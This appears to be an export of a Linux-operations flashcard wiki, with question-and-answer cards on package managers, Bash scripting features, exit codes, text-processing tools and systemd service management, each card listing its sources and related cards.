''Related atoms''
* [[Independent distros offer specialized niches and philosophies]]
Q: What is Pacman?
A: The package manager for Arch Linux. Uses <html><code>.pkg.tar.zst</code></html> packages and the <html><code>-S</code></html> (sync/install), <html><code>-R</code></html> (remove), <html><code>-Q</code></html> (query), <html><code>-U</code></html> (upgrade local) operations. Example: <html><code>pacman -Syu</code></html> does a full system upgrade.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How do package management commands differ across distros?]]
* [[What is the AUR?]]
* [[What is Arch Linux known for?]]
Q: What is zypper?
A: The package manager for SUSE/openSUSE. Supports RPM packages with libsolv dependency resolver, patterns, patches, and repository management.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[SUSE family specializes in enterprise and snapshot-based updates]]
* [[What is the ZFS licensing controversy?]]
* [[Where are repositories stored (based on the distribution)?]]
Q: What is the AUR?
A: Arch User Repository — a community-driven repository of build scripts (PKGBUILDs) for Arch Linux. Packages are built from source by the user. Helpers like <html><code>yay</code></html> or <html><code>paru</code></html> automate the process.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is Pacman?]]
* [[Homebrew on Linux installs to home directory without sudo]]
* [[What is the purpose of /usr?]]
Q: How do you rebuild an RPM package?
A: Use <html><code>rpmbuild</code></html> with a <html><code>.spec</code></html> file. The spec defines sources, build steps, dependencies, and file lists. Build with <html><code>rpmbuild -ba package.spec</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[RPM: Explain the .spec format. What should and can it contain?]]
* [[Do you have experience with packaging (building packages)?]]
* [[How do you list the content of a package without actually installing it?]]
Q: What is <html><code>dpkg-buildpackage</code></html>?
A: The Debian tool for building <html><code>.deb</code></html> packages from source. It reads <html><code>debian/control</code></html>, <html><code>debian/rules</code></html>, and other files in the <html><code>debian/</code></html> directory.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between dpkg and apt?]]
Q: What does <html><code>apt-mark hold <package></code></html> do?
A: Prevents a package from being automatically upgraded. Equivalent to <html><code>dnf versionlock add <package></code></html> on RHEL.
----
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Package manager dependency resolution strategies differ between apt and dnf]]
Q: What is the difference between a login shell and a non-login shell?
A: A login shell is started for user authentication (SSH, console login, <html><code>su -</code></html>). A non-login shell is started otherwise (opening a terminal emulator, running <html><code>bash</code></html>). They source different startup files.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between `/sbin/nologin`, `/bin/false`, and `/bin/true`?]]
* [[What is the difference between `su` and `su -`?]]
* [[What is the SHELL variable?]]
Q: What is the difference between an interactive and non-interactive shell?
A: An interactive shell reads commands from the user (terminal). A non-interactive shell executes commands from a script or pipe. Interactive shells show prompts and enable job control.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between a login shell and a non-login shell?]]
Q: What files does a Bash login shell source?
A: First <html><code>/etc/profile</code></html>, then the first found of <html><code>~/.bash_profile</code></html>, <html><code>~/.bash_login</code></html>, or <html><code>~/.profile</code></html> (only one). On logout: <html><code>~/.bash_logout</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between /etc/environment and shell profile files?]]
* [[You define x=2 in /etc/bashrc and x=6 in ~/.bashrc. You then log in. What is the value …]]
* [[What is stored in each of the following paths?]]
Q: What files does a Bash interactive non-login shell source?
A: <html><code>/etc/bash.bashrc</code></html> (on some distros) and <html><code>~/.bashrc</code></html>. This is why <html><code>.bash_profile</code></html> often sources <html><code>.bashrc</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What are the "dotfiles"?]]
* [[What is the difference between /etc/environment and shell profile files?]]
* [[What is the difference between a login shell and a non-login shell?]]
Q: What is the shebang (#!)?
A: The first line of a script (e.g., <html><code>#!/bin/bash</code></html> or <html><code>#!/usr/bin/env python3</code></html>) that tells the kernel which interpreter to use. <html><code>#!/usr/bin/env</code></html> is preferred for portability as it searches PATH.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the preferred bash shebang and why? What is the difference between executing a …]]
* [[What does `$#` contain?]]
Q: What does <html><code>${var:-default}</code></html> do?
A: Returns <html><code>$var</code></html> if it is set and non-null, otherwise returns <html><code>default</code></html>. Does not assign <html><code>default</code></html> to <html><code>var</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What does `${var:?error_message}` do?]]
* [[What does `${#var}` do?]]
Q: What does <html><code>${var:+alternate}</code></html> do?
A: Returns <html><code>alternate</code></html> if <html><code>$var</code></html> is set and non-null, otherwise returns nothing.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `${var:?error_message}` do?]]
* [[What does `${#var}` do?]]
* [[What does `${var#pattern}` do?]]
Q: What does <html><code>${var:?error_message}</code></html> do?
A: Returns <html><code>$var</code></html> if set and non-null, otherwise prints <html><code>error_message</code></html> to stderr and exits.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `${var:-default}` do?]]
* [[What does `${#var}` do?]]
* [[What does `${var:+alternate}` do?]]
Q: What does <html><code>${#var}</code></html> do?
A: Returns the length (number of characters) of the value of <html><code>$var</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `$#` contain?]]
* [[What does `${var:-default}` do?]]
* [[What does `${var:?error_message}` do?]]
Q: What does <html><code>${var#pattern}</code></html> do?
A: Removes the shortest match of <html><code>pattern</code></html> from the beginning of <html><code>$var</code></html>. <html><code>${var##pattern}</code></html> removes the longest match. Used for prefix stripping (e.g., <html><code>${path##*/}</code></html> extracts the filename).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What does `${var:-default}` do?]]
* [[What does `$#` contain?]]
* [[What does `${var:+alternate}` do?]]
Q: What does exit code 0 mean?
A: Success. Any non-zero exit code indicates failure.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does exit code 2 mean?]]
* [[What does exit code 127 mean?]]
* [[What does exit code 126 mean?]]
Q: What does exit code 1 mean?
A: General error — the most common failure exit code.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does exit code 130 mean?]]
* [[What does exit code 126 mean?]]
Q: What does exit code 2 mean?
A: Misuse of shell command or built-in, such as invalid options or missing required arguments.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does exit code 0 mean?]]
* [[What does exit code 126 mean?]]
* [[What does exit code 127 mean?]]
Q: What does exit code 126 mean?
A: Command found but not executable (permission denied).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does exit code 2 mean?]]
* [[What does exit code 130 mean?]]
* [[What does exit code 0 mean?]]
Q: What does exit code 127 mean?
A: Command not found.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does exit code 2 mean?]]
* [[What does exit code 0 mean?]]
Q: What does exit code 128+n mean?
A: The process was killed by signal n. For example, 137 = 128+9 (killed by SIGKILL), 143 = 128+15 (killed by SIGTERM).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does exit code 130 mean?]]
* [[Docker exit codes encode signal numbers]]
* [[What signal number is SIGTERM?]]
Q: What does exit code 130 mean?
A: Process terminated by Ctrl-C (128 + 2 for SIGINT).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does exit code 128+n mean?]]
* [[What does exit code 126 mean?]]
* [[What signal number is SIGINT?]]
Q: What does <html><code>></code></html> vs <html><code>>></code></html> do?
A: <html><code>></code></html> redirects stdout to a file, overwriting it. <html><code>>></code></html> appends to the file.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What do > and < do in terms of input and output for programs?]]
* [[What does `2>` do?]]
* [[How to redirect stderr and stdout to different files in the same line?]]
Q: What does <html><code>2></code></html> do?
A: Redirects stderr (file descriptor 2) to a file. <html><code>2>/dev/null</code></html> discards error messages.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `>` vs `>>` do?]]
* [[How to redirect stderr and stdout to different files in the same line?]]
* [[Explain differences between `2>&-`, `2>/dev/null`, `|&`, `&>/dev/null`, and `>/dev/null…]]
Q: What does <html><code>2>&1</code></html> do?
A: Redirects stderr to wherever stdout is currently going. Combined with <html><code>></code></html>, it captures both stdout and stderr to the same file: <html><code>command > file 2>&1</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[How to redirect stderr and stdout to different files in the same line?]]
* [[What do > and < do in terms of input and output for programs?]]
* [[Demonstrate Linux stderr to stdout redirection]]
Q: What is a here document (heredoc)?
A: A redirection that allows multi-line input: <html><code>command <<EOF ... EOF</code></html>. With <html><code><<'EOF'</code></html> (quoted delimiter), variable expansion is disabled. <html><code><<-EOF</code></html> allows leading tabs to be stripped.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is a here string?]]
* [[What do > and < do in terms of input and output for programs?]]
Q: What is a here string?
A: <html><code><<<</code></html> feeds a string directly as stdin: <html><code>grep "pattern" <<< "$variable"</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is a here document (heredoc)?]]
Q: What is process substitution?
A: <html><code><(command)</code></html> creates a temporary file descriptor containing the command's output. Useful for comparing outputs: <html><code>diff <(sort file1) <(sort file2)</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Explain Linux I/O redirection]]
* [[What does the following block do?:]]
* [[What does `2>&1` do?]]
Q: What does <html><code>set -e</code></html> do?
A: Causes the script to exit immediately when any command returns a non-zero exit code (with some exceptions like conditions in <html><code>if</code></html> statements).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `set -x` do?]]
* [[What does `set -o pipefail` do?]]
Q: What does <html><code>set -u</code></html> do?
A: Treats references to unset variables as errors, causing the script to exit.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `set -x` do?]]
* [[What does `${var:-default}` do?]]
Q: What does <html><code>set -o pipefail</code></html> do?
A: Causes a pipeline to return the exit code of the last command that failed (non-zero), rather than only the last command. Without this, <html><code>false | true</code></html> returns 0.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Explain the pipe() system call. What does it used for?]]
* [[What does `set -e` do?]]
Q: What does <html><code>set -x</code></html> do?
A: Enables debug mode — each command is printed to stderr before execution, prefixed with <html><code>+</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `set -u` do?]]
* [[What does `set -e` do?]]
* [[What a double dash (--) mean?]]
Q: How do you define a Bash array?
A: <html><code>arr=(one two three)</code></html>. Access: <html><code>${arr[0]}</code></html>. All elements: <html><code>${arr[@]}</code></html>. Length: <html><code>${#arr[@]}</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How do you define a Bash associative array?]]
* [[What does `${#var}` do?]]
Q: How do you define a Bash associative array?
A: <html><code>declare -A map; map[key1]=val1; map[key2]=val2</code></html>. Access: <html><code>${map[key1]}</code></html>. All keys: <html><code>${!map[@]}</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How do you define a Bash array?]]
Q: What is <html><code>trap</code></html> in Bash?
A: Registers a command to execute when a signal is received or on script exit: <html><code>trap 'rm -f /tmp/lockfile' EXIT</code></html>. Common signals to trap: EXIT, ERR, INT, TERM.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between `kill -l` and `trap -l`?]]
* [[How a program executes a system call?]]
* [[SIGHUP, SIGINT, SIGKILL, and SIGTERM POSIX signals. Explain.]]
Q: What is a trap in bash scripting and how is it used for cleanup?
A: A trap is a mechanism that allows the shell to intercept signals sent to a process and perform a specific action, such as handling errors or cleaning up resources before terminating the process.
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[How a program executes a system call?]]
* [[What is an exit code? What exit codes are you familiar with?]]
* [[What is the difference between `kill -l` and `trap -l`?]]
Q: What is job control?
A: Interactive shell feature for managing background/foreground processes. <html><code>command &</code></html> runs in background. <html><code>Ctrl-Z</code></html> suspends foreground job. <html><code>bg</code></html> resumes in background. <html><code>fg</code></html> brings to foreground. <html><code>jobs</code></html> lists current jobs.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How do you suspend a running foreground process and then resume it in the background?]]
* [[What is the advantage of executing the running processes in the background? How can you…]]
Q: What is the difference between <html><code>$@</code></html> and <html><code>$*</code></html>?
A: Unquoted, they are identical. Quoted: <html><code>"$@"</code></html> expands to separate words (preserving arguments), <html><code>"$*"</code></html> expands to a single word with arguments joined by the first character of IFS. Always use <html><code>"$@"</code></html> for passing arguments.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `$*` contain?]]
* [[What does `$$` contain?]]
* [[What is the difference between single and double quotes?]]
Q: What does <html><code>$@</code></html> contain?
A: All positional parameters. When double-quoted (<html><code>"$@"</code></html>), each parameter is a separate word, preserving whitespace within arguments.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `$#` contain?]]
* [[What does `$*` contain?]]
* [[What does `$$` contain?]]
Q: What is the difference between <html><code>grep -E</code></html> and <html><code>grep -P</code></html>?
A: <html><code>-E</code></html> uses Extended Regular Expressions (ERE): <html><code>+</code></html>, <html><code>?</code></html>, <html><code>|</code></html>, <html><code>{}</code></html>, <html><code>()</code></html> without backslash escaping. <html><code>-P</code></html> uses Perl-Compatible Regular Expressions (PCRE) with advanced features like lookahead, lookbehind, and <html><code>\d</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Where does the name "grep" come from?]]
* [[What does `grep -l` do?]]
* [[What does `grep -v` do?]]
Q: What does <html><code>grep -r</code></html> do?
A: Recursively searches through directories. <html><code>-R</code></html> follows symbolic links; <html><code>-r</code></html> does not.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `grep -l` do?]]
* [[Some of the commands in the previous question can be run with the -r/-R flag. What does…]]
* [[What does `grep -i` do?]]
Q: What does <html><code>grep -l</code></html> do?
A: Prints only the filenames of files containing matches, not the matching lines.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `grep -r` do?]]
* [[What does `grep -i` do?]]
* [[Where does the name "grep" come from?]]
Q: What does <html><code>grep -c</code></html> do?
A: Prints only the count of matching lines per file.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `grep -o` do?]]
* [[What does `grep -v` do?]]
* [[What does `grep -i` do?]]
Q: What does <html><code>grep -v</code></html> do?
A: Inverts the match — shows lines that do NOT match the pattern.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `grep -c` do?]]
* [[What does `grep -i` do?]]
* [[What is the difference between `grep -E` and `grep -P`?]]
Q: What does <html><code>grep -i</code></html> do?
A: Case-insensitive matching.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `grep -l` do?]]
* [[What does `grep -v` do?]]
* [[What does `grep -o` do?]]
Q: What does <html><code>grep -o</code></html> do?
A: Prints only the matched portion of the line, not the entire line.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `grep -c` do?]]
* [[What does `grep -i` do?]]
* [[Where does the name "grep" come from?]]
Q: How do you perform a basic sed substitution?
A: <html><code>sed 's/old/new/' file</code></html> replaces the first occurrence per line. <html><code>sed 's/old/new/g' file</code></html> replaces all occurrences. <html><code>sed -i 's/old/new/g' file</code></html> edits in place.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How do you delete lines with sed?]]
* [[How could you modify a text file without invoking a text editor?]]
* [[What is escaping? What escape character is used for?]]
Q: How do you delete lines with sed?
A: <html><code>sed '/pattern/d' file</code></html> deletes lines matching the pattern. <html><code>sed '5d' file</code></html> deletes line 5. <html><code>sed '3,7d' file</code></html> deletes lines 3-7.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How do you perform a basic sed substitution?]]
* [[Fix the following commands:]]
Q: What is the basic structure of an awk program?
A: <html><code>awk 'pattern {action}' file</code></html>. If no pattern, the action runs on every line. If no action, matching lines are printed. <html><code>$1</code></html>, <html><code>$2</code></html>, etc., are fields; <html><code>$0</code></html> is the whole line.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is BEGIN/END in awk?]]
* [[What are awk's key built-in variables?]]
* [[What the awk command does? Have you used it? What for?]]
Q: What are awk's key built-in variables?
A: <html><code>NR</code></html> = current record/line number, <html><code>NF</code></html> = number of fields in current record, <html><code>FS</code></html> = field separator (default whitespace), <html><code>OFS</code></html> = output field separator, <html><code>RS</code></html> = record separator, <html><code>ORS</code></html> = output record separator, <html><code>FILENAME</code></html> = current filename.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the basic structure of an awk program?]]
* [[What is BEGIN/END in awk?]]
Q: What is BEGIN/END in awk?
A: <html><code>BEGIN {actions}</code></html> runs before any input is processed (good for initialization). <html><code>END {actions}</code></html> runs after all input is processed (good for summaries). Example: <html><code>awk 'BEGIN{sum=0} {sum+=$1} END{print sum}'</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the basic structure of an awk program?]]
* [[What are awk's key built-in variables?]]
Q: What does the <html><code>cut</code></html> command do?
A: Extracts sections from lines. <html><code>-d</code></html> sets delimiter, <html><code>-f</code></html> selects fields: <html><code>cut -d: -f1,3 /etc/passwd</code></html> extracts username and UID.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Explain what each of the following commands does:]]
* [[What does the `sort` command do?]]
Q: What does the <html><code>sort</code></html> command do?
A: Sorts lines. Key flags: <html><code>-n</code></html> numeric sort, <html><code>-r</code></html> reverse, <html><code>-k</code></html> sort by field, <html><code>-u</code></html> unique, <html><code>-t</code></html> field separator, <html><code>-h</code></html> human-readable numbers, <html><code>-V</code></html> version sort.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `uniq` do?]]
Q: What does <html><code>uniq</code></html> do?
A: Filters adjacent duplicate lines. Usually paired with <html><code>sort</code></html> first: <html><code>sort file | uniq</code></html>. <html><code>-c</code></html> counts occurrences, <html><code>-d</code></html> shows only duplicates, <html><code>-u</code></html> shows only unique lines.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does the `sort` command do?]]
* [[What does `grep -c` do?]]
Q: What does <html><code>tr</code></html> do?
A: Translates or deletes characters: <html><code>tr 'a-z' 'A-Z'</code></html> converts lowercase to uppercase. <html><code>tr -d '\r'</code></html> removes carriage returns. <html><code>tr -s ' '</code></html> squeezes repeated spaces.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `grep -i` do?]]
* [[What does `grep -r` do?]]
Q: What does <html><code>wc</code></html> do?
A: Word count. <html><code>-l</code></html> lines, <html><code>-w</code></html> words, <html><code>-c</code></html> bytes, <html><code>-m</code></html> characters. <html><code>wc -l file</code></html> counts lines.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How to count the number of lines in a file? What about words?]]
* [[How do you count occurrences of a word in a file using command-line tools?]]
* [[What does `grep -c` do?]]
Q: What does <html><code>tee</code></html> do?
A: Reads stdin, writes to both stdout and one or more files: <html><code>command | tee output.log</code></html> displays output and saves it. <html><code>-a</code></html> appends instead of overwriting.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Is there a way to redirect output to a file and have it display on stdout?]]
* [[Explain Linux I/O redirection]]
Q: What does "tee" refer to?
A: A T-shaped pipe fitting — the command splits output like a T-junction in plumbing, sending it to both stdout and a file.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Is there a way to redirect output to a file and have it display on stdout?]]
* [[Explain the pipe() system call. What does it used for?]]
Q: What does <html><code>xargs</code></html> do?
A: Builds and executes commands from stdin. <html><code>find . -name "*.log" | xargs rm</code></html>. Use <html><code>-0</code></html> with <html><code>find -print0</code></html> for filenames with spaces. <html><code>-I {}</code></html> sets a placeholder: <html><code>echo file | xargs -I {} cp {} backup/</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is `find -print0`?]]
* [[What does `set -x` do?]]
* [[How does `find -exec` work?]]
Q: How does <html><code>find -exec</code></html> work?
A: Executes a command on each match: <html><code>find /var -name "*.log" -exec gzip {} \;</code></html>. Using <html><code>+</code></html> instead of <html><code>\;</code></html> batches files into fewer command invocations: <html><code>find . -name "*.txt" -exec wc -l {} +</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What command finds files by name in a directory tree?]]
* [[What happens when you execute ls -l *.log?]]
* [[What is `find -print0`?]]
Q: What is <html><code>find -print0</code></html>?
A: Outputs filenames separated by null bytes instead of newlines, safely handling filenames with spaces and special characters. Used with <html><code>xargs -0</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `xargs` do?]]
* [[How does `find -exec` work?]]
* [[List three ways to print all the files in the current directory]]
Q: What is <html><code>xargs -0</code></html>?
A: Reads null-delimited input (from <html><code>find -print0</code></html>). Safely handles filenames with spaces, newlines, and special characters.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `set -x` do?]]
* [[Explain differences between `2>&-`, `2>/dev/null`, `|&`, `&>/dev/null`, and `>/dev/null…]]
* [[[[Explain what will ls [XYZ] match]]]]
Q: What is the difference between BRE, ERE, and PCRE?
A: BRE (Basic Regular Expressions): <html><code>grep</code></html> default, requires <html><code>\</code></html> for <html><code>()</code></html>, <html><code>{}</code></html>, <html><code>+</code></html>, <html><code>?</code></html>. ERE (Extended): <html><code>grep -E</code></html>/<html><code>egrep</code></html>, no backslash needed. PCRE (Perl-Compatible): <html><code>grep -P</code></html>, adds <html><code>\d</code></html>, <html><code>\w</code></html>, lookaround, non-greedy quantifiers.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Where does the name "grep" come from?]]
* [[What does `grep -v` do?]]
Q: What is systemd?
A: The default init system and service manager on most modern Linux distributions. Created by Lennart Poettering and Kay Sievers. It manages services, logging, device events, mount points, timers, and more.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is systemd's role in the boot process?]]
* [[systemd as PID 1 controls service lifecycle and resource management on all major Linux distributions]]
Q: What is systemd and how does it manage Linux services?
A: Systemd is a daemon (System 'd', d stands for daemon).
A daemon is a program that runs in the background without direct control of the user, although the user can at any time
talk to the daemon.
systemd has many features such as user processes control/tracking, snapshot support, inhibitor locks..
If we visualize the unix/linux system in layers, systemd would fall directly after the linux kernel.
Hardware -> Kernel -> Daemons, System Libraries, Server Display.
Remember: systemd: status, start/stop/restart, enable/disable, daemon-reload.
Gotcha: After editing unit files, always <html><code>daemon-reload</code></html> before restart.
Name origin: The d in systemd stands for daemon. Lennart Poettering and Kay Sievers created it in 2010 for Fedora.
Remember: systemd is PID 1 — the first process the kernel starts. It manages all other services.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-systemd.tsv</code></html>
''Related atoms''
* [[systemd as PID 1 controls service lifecycle and resource management on all major Linux distributions]]
* [[Program, process, and service are three distinct layers]]
* [[What is a Daemon in Linux?]]
Q: What are the main systemd unit types?
A: <html><code>service</code></html> (daemons), <html><code>socket</code></html> (IPC/network sockets), <html><code>timer</code></html> (cron replacement), <html><code>mount</code></html> (mount points), <html><code>device</code></html> (udev devices), <html><code>target</code></html> (groups of units), <html><code>path</code></html> (file monitoring), <html><code>slice</code></html> (cgroup resource management), <html><code>scope</code></html> (externally created processes).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is systemd?]]
* [[What is systemd and how does it manage Linux services?]]
Q: What is the command to start a service?
A: <html><code>systemctl start <service></code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What command enables a service to start at boot AND starts it immediately in one step?]]
* [[How to start or stop a service?]]
Q: What does <html><code>systemctl mask</code></html> do?
A: Creates a symlink to <html><code>/dev/null</code></html>, making it impossible to start the unit (manually or as a dependency). Stronger than <html><code>disable</code></html>. Undo with <html><code>systemctl unmask</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[systemctl enable vs start: boot persistence vs immediate activation]]
* [[What does `systemctl daemon-reload` do?]]
* [[What does `systemctl list-units --type=service --state=failed` show?]]
Q: What does <html><code>systemctl daemon-reload</code></html> do?
A: Reloads systemd's configuration — required after modifying unit files. It does NOT restart any services; it just re-reads the files.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is systemd and how does it manage Linux services?]]
* [[Describe the simplified boot sequence from firmware to running services in a systemd-ba…]]
Q: Why must you run systemctl daemon-reload after manually editing a unit file, and what happens if you forget?
A: daemon-reload tells systemd to re-read all unit files from disk. If you forget, systemd continues using the cached in-memory version of the unit file, so your changes have no effect. systemd will log a warning that unit files have changed on disk and suggest running daemon-reload.
Remember: Types: .service, .socket, .timer, .mount, .target. Most common: .service, .timer.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-systemd.tsv</code></html>
''Related atoms''
* [[How to reload PostgreSQL after configuration changes?]]
* [[Describe the simplified boot sequence from firmware to running services in a systemd-ba…]]
Q: Where are systemd unit files stored?
A: <html><code>/usr/lib/systemd/system/</code></html> (package defaults), <html><code>/etc/systemd/system/</code></html> (admin overrides, highest priority), <html><code>/run/systemd/system/</code></html> (runtime generated).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is systemd-tmpfiles?]]
* [[Where do admin-override unit files live, and why do they take precedence over vendor un…]]
* [[What is systemd?]]
Q: How do you override part of a unit file without modifying the original?
A: Create a drop-in directory: <html><code>/etc/systemd/system/<unit>.d/override.conf</code></html>. Use <html><code>systemctl edit <unit></code></html> to create it automatically.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How do you safely modify vendor unit files?]]
* [[Why must you run systemctl daemon-reload after manually editing a unit file, and what h…]]
* [[Where do admin-override unit files live, and why do they take precedence over vendor un…]]
Q: What is socket activation?
A: systemd listens on a socket and starts the associated service only when a connection arrives. This speeds up boot (services start on demand) and allows zero-downtime restarts.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is `systemd-networkd-wait-online.service`?]]
* [[What happens when socket system call is used?]]
* [[systemctl enable vs start: boot persistence vs immediate activation]]
Q: What are the key dependency directives in systemd?
A: <html><code>Requires=</code></html>: hard dependency (if the required unit fails, this unit fails). <html><code>Wants=</code></html>: soft dependency (failure is tolerated). <html><code>After=</code></html>/<html><code>Before=</code></html>: ordering only, no dependency. <html><code>BindsTo=</code></html>: like Requires but also stops this unit when the other stops.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
